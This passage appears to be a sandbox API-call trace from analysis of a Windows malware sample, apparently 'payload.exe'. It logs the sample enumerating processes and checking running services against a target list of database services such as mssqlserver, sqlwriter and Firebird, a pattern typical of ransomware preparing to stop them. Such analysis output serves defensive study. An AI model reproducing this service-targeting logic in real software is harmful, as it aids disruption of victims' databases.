lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0041.258] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0041.258] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0041.258] lstrlenW (lpString="placing.exe") returned 11 [0041.258] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0041.259] lstrlenW (lpString="heroes.exe") returned 10 [0041.259] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0041.259] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0041.259] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0041.260] lstrlenW (lpString="requirement moments.exe") returned 23 [0041.260] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0041.261] lstrlenW (lpString="sugar.exe") returned 9 [0041.261] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0041.263] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0041.263] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0041.263] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0041.263] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0041.264] lstrlenW (lpString="genealogy.exe") returned 13 [0041.264] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0041.265] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0041.265] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0041.266] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0041.266] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0041.267] lstrlenW (lpString="expenditure.exe") returned 15 [0041.267] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0041.268] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0041.268] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0041.269] lstrlenW (lpString="upgrading.exe") returned 13 [0041.269] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0041.269] lstrlenW (lpString="conservative.exe") returned 16 [0041.269] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0041.270] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0041.270] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0041.271] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0041.271] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0041.272] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0041.272] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0041.272] lstrlenW (lpString="gods violations duke.exe") returned 24 [0041.272] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0041.273] lstrlenW (lpString="dllhost.exe") returned 11 [0041.273] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.274] lstrlenW (lpString="conhost.exe") returned 11 [0041.274] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.275] lstrlenW (lpString="conhost.exe") returned 11 [0041.275] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0041.276] lstrlenW (lpString="payload.exe") returned 11 [0041.276] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.277] lstrlenW (lpString="cmd.exe") returned 7 [0041.277] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.277] lstrlenW (lpString="conhost.exe") returned 11 [0041.277] Process32NextW (in: hSnapshot=0x2e8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0041.278] CloseHandle (hObject=0x2e8) returned 1 [0041.278] Sleep (dwMilliseconds=0x1f4) [0042.178] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cee80 [0042.179] EnumServicesStatusExW (in: hSCManager=0x6cee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0042.179] GetLastError () returned 0xea [0042.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c18) returned 0x782520 [0042.179] EnumServicesStatusExW (in: hSCManager=0x6cee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x782520, cbBufSize=0x1c18, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x782520, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0042.180] CloseServiceHandle (hSCObject=0x6cee80) returned 1 [0042.180] lstrlenW (lpString="Appinfo") returned 7 [0042.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.180] lstrlenW (lpString="AppXSvc") returned 7 [0042.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0042.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0042.180] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0042.180] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0042.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0042.180] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.181] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.181] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.181] lstrlenW (lpString="Audiosrv") returned 8 [0042.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0042.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0042.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0042.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0042.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0042.181] lstrlenW (lpString="BFE") returned 3 [0042.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.181] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.181] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.181] lstrlenW (lpString="BITS") returned 4 [0042.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0042.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0042.181] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0042.181] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0042.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0042.181] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0042.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0042.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0042.181] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0042.181] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0042.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0042.181] lstrlenW (lpString="CDPSvc") returned 6 [0042.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0042.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0042.182] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0042.182] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0042.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0042.182] lstrlenW (lpString="ClickToRunSvc") returned 13 [0042.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0042.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0042.182] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0042.182] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0042.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0042.182] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0042.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0042.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0042.182] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0042.182] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0042.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0042.182] lstrlenW (lpString="CryptSvc") returned 8 [0042.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.182] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.182] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.182] lstrlenW (lpString="DcomLaunch") returned 10 [0042.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.182] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.182] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.183] lstrlenW (lpString="DeviceAssociationService") returned 24 [0042.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0042.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0042.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0042.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0042.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0042.183] lstrlenW (lpString="Dhcp") returned 4 [0042.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.183] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.183] lstrlenW (lpString="Dnscache") returned 8 [0042.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.183] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.183] lstrlenW (lpString="DPS") returned 3 [0042.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.183] lstrlenW (lpString="DusmSvc") returned 7 [0042.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0042.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0042.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0042.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0042.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0042.184] lstrlenW (lpString="EventLog") returned 8 [0042.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0042.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0042.184] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0042.184] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0042.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0042.184] lstrlenW (lpString="EventSystem") returned 11 [0042.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.184] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.184] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.184] lstrlenW (lpString="FontCache") returned 9 [0042.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0042.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0042.184] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0042.184] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0042.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0042.184] lstrlenW (lpString="gpsvc") returned 5 [0042.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.184] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.184] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.184] lstrlenW (lpString="iphlpsvc") returned 8 [0042.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.184] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.184] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.184] lstrlenW (lpString="KeyIso") returned 6 [0042.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0042.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0042.185] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0042.185] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0042.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0042.185] lstrlenW (lpString="LanmanServer") returned 12 [0042.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.185] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.185] lstrlenW (lpString="lfsvc") returned 5 [0042.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0042.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0042.185] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0042.185] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0042.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0042.186] lstrlenW (lpString="lmhosts") returned 7 [0042.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.186] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.186] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.186] lstrlenW (lpString="LSM") returned 3 [0042.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0042.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0042.186] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0042.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0042.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0042.186] lstrlenW (lpString="MpsSvc") returned 6 [0042.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.186] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.186] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.186] lstrlenW (lpString="NcbService") returned 10 [0042.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0042.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0042.186] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0042.186] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0042.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0042.186] lstrlenW (lpString="netprofm") returned 8 [0042.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.186] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.187] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.187] lstrlenW (lpString="NgcSvc") returned 6 [0042.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0042.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0042.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0042.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0042.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0042.187] lstrlenW (lpString="NlaSvc") returned 6 [0042.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.187] 